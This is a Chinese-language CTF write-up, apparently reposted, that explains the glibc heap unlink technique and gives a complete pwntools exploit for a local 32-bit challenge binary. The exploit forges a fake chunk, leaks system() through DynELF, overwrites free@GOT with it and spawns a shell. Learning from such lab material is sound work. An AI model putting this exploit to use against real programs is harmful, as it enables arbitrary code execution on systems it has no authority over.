[CTF]Heap vuln -- unlink


0x00: 起因

一直在堆的漏洞利用中不得要領,之前ZCTF又是三個堆的利用,血崩,chxx表哥給寫了一個heap的pwn,學習學習。

0x01:

關於heap的unlink的漏洞利用,出的很早,在低版本的libc中,因為沒有校驗,導致在unlink的時候可以通過構造堆塊dwordshoot,從而任意代碼執行。
對於這種漏洞的學習,首先要了解malloc的工作原理及幾種堆塊的分配、使用方式。推薦文章 Understanding glibc malloc

0x02: 文件的一些信息


0x03:分析

程序是一個菜單式的程序,可以用戶自定義分配塊的長度和內容,漏洞在於:edit的時候,沒做長度校驗導致可以溢出,通過構造可以bypass 在libc中unlink的校驗,從而getshell。

0x04:在drops看到的姿勢

堆溢出的unlink利用方法

按照文中給出的方式,為了bypass

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
	malloc_printerr (check_action, "corrupted double-linked list", P);

這么一個指針的校驗,我們找到一個特殊的 指針ptr是指向p的(p指向堆)
那么可以根據p去構造bk和fd兩個指針

chunk0                malloc返回的ptr           chunk1        malloc返回的ptr
|                     |                        |             |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
|           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
| prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
|           |         |    |    |    |    | A  |      |      |    |    |      |
|           |         |    |    |    |    |    |      |      |    |    |      |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
                      |--------new_size--------|
                      list
l32(0)  +  l32(0x89)  +  l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
#fake_pre_szie + fake_size + fake_FD + fake_BK + DATA
#   4bytes        4bytes     4bytes    4bytes    128-4*4

#pre_size   +   size&flag
l32(0x80) + l32(0x88)
free(chunk_1)

分配兩個長度合適的塊,偽造第一個塊,然后通過修改了第二個塊的pre_size 和size
然后free(chunk1) 觸發unlink

之后再次修改指針p 從而達到leak地址,修改地址的目的

0x05:exp

from pwn import *

context.update(os='linux', arch='i386')
p = remote('127.0.0.1',10001)

chunk_list = 0x8049d60
free_got = 0x8049ce8

flag = 0
def leak(addr):
    data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
    global flag
    if flag == 0:
        set_chunk(0, data)
        flag = 1
    else:
        set_chunk2(0, data)
    res = ""
    p.recvuntil('5.Exit\n')
    res = print_chunk(1)
    print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
    return res[0:4]

def add_chunk(len):
	print p.recvuntil('\n')
	p.sendline('1')
	print p.recvuntil('Input the size of chunk you want to add:')
	p.sendline(str(len))

def set_chunk(index,data):
	p.recvuntil('5.Exit\n')
	p.sendline('2')
	p.recvuntil('Set chunk index:')
	p.sendline(str(index))
	p.recvuntil('Set chunk data:')
	p.sendline(data)

def set_chunk2(index, data):
    p.sendline('2')
    p.recvuntil('Set chunk index:')
    p.sendline(str(index))
    p.recvuntil('Set chunk data:')
    p.sendline(data)

def del_chunk(index):
	p.recvuntil('\n')
	p.sendline('3')
	p.recvuntil('Delete chunk index:')
	p.sendline(str(index))

def print_chunk(index):
	p.sendline('4')
	p.recvuntil('Print chunk index:')
	p.sendline(str(index))
	res = p.recvuntil('5.Exit\n')
	return res



raw_input('add_chunk')
add_chunk(128)  #0
add_chunk(128)	#1
add_chunk(128)	#2
add_chunk(128)	#3
set_chunk(3, '/bin/sh')

#fake_chunk
payload = ""
payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk 
payload += p32(0x80) + p32(0x88)

set_chunk(0,payload)
#get the pointer
del_chunk(1)

set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14))

raw_input('leak')
#leak system_addr
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)

raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk2('0', data)

set_chunk2('1', p32(sys_addr))

del_chunk('3')
p.interactive()
p.close()

0x06:參考文章

1. Understanding glibc malloc
2. 堆溢出的unlink利用方法

最后還要感謝chxx大表哥的pwn和指導=。=

所有文件都在這里了 文件下載


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM